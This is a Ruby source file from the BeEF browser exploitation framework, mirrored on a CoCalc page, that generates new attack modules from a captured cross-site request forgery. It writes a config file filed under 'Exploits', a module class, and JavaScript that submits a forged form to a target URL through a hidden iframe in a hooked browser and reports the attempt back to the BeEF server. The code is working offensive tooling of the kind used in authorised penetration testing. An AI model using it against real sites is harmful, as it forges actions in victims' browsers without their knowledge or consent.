Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/tools/csrf_to_beef/lib/module.rb
1154 views
1
#
2
# @note Module configuration file 'config.yaml'
3
#
4
class ConfigFile
5
def generate(class_name)
6
return <<-EOF
7
#
8
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
9
# Browser Exploitation Framework (BeEF) - https://beefproject.com
10
# See the file 'doc/COPYING' for copying permission
11
#
12
beef:
13
module:
14
#{class_name}:
15
enable: true
16
category: "Exploits"
17
name: "#{class_name.capitalize}"
18
description: "#{class_name.capitalize}"
19
authors: ["BeEF"]
20
target:
21
unknown: ["ALL"]
22
EOF
23
end
24
end
25
26
#
27
# @note Module class file 'module.rb'
28
#
29
class ModuleFile
30
def generate(class_name, target_url, options)
31
options_rb = ""
32
options.to_enum.with_index(1).each do |input, input_index|
33
options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n"
34
end
35
return <<-EOF
36
#
37
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
38
# Browser Exploitation Framework (BeEF) - https://beefproject.com
39
# See the file 'doc/COPYING' for copying permission
40
#
41
class #{class_name.capitalize} < BeEF::Core::Command
42
43
def self.options
44
return [
45
{ 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) },
46
#{options_rb.chomp}
47
]
48
end
49
50
def post_execute
51
save({'result' => @datastore['result']})
52
end
53
54
end
55
EOF
56
end
57
end
58
59
#
60
# @note Module javascript command file 'command.js'
61
#
62
class CommandFile
63
def generate(class_name, method, enctype, options)
64
options_js = ""
65
options.to_enum.with_index(1).each do |input, input_index|
66
options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n"
67
end
68
return <<-EOF
69
//
70
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
71
// Browser Exploitation Framework (BeEF) - https://beefproject.com
72
// See the file 'doc/COPYING' for copying permission
73
//
74
75
beef.execute(function() {
76
var target_url = '<%= @target_url.to_s.gsub(/'/, "\\\\'") %>';
77
var timeout = 15;
78
79
exploit = function() {
80
var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, "\\'")}', '#{enctype.to_s.gsub(/'/, "\\'")}',
81
[
82
#{options_js.chomp}
83
]);
84
85
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
86
}
87
88
cleanup = function() {
89
try {
90
document.body.removeChild(#{class_name}_iframe_<%= @command_id %>);
91
} catch(e) {
92
beef.debug("Could not remove iframe: " + e.message);
93
}
94
}
95
setTimeout("cleanup()", timeout*1000);
96
97
try {
98
exploit();
99
} catch(e) {
100
beef.debug("Exploit failed: " + e.message);
101
}
102
103
});
104
EOF
105
end
106
end
107
108
109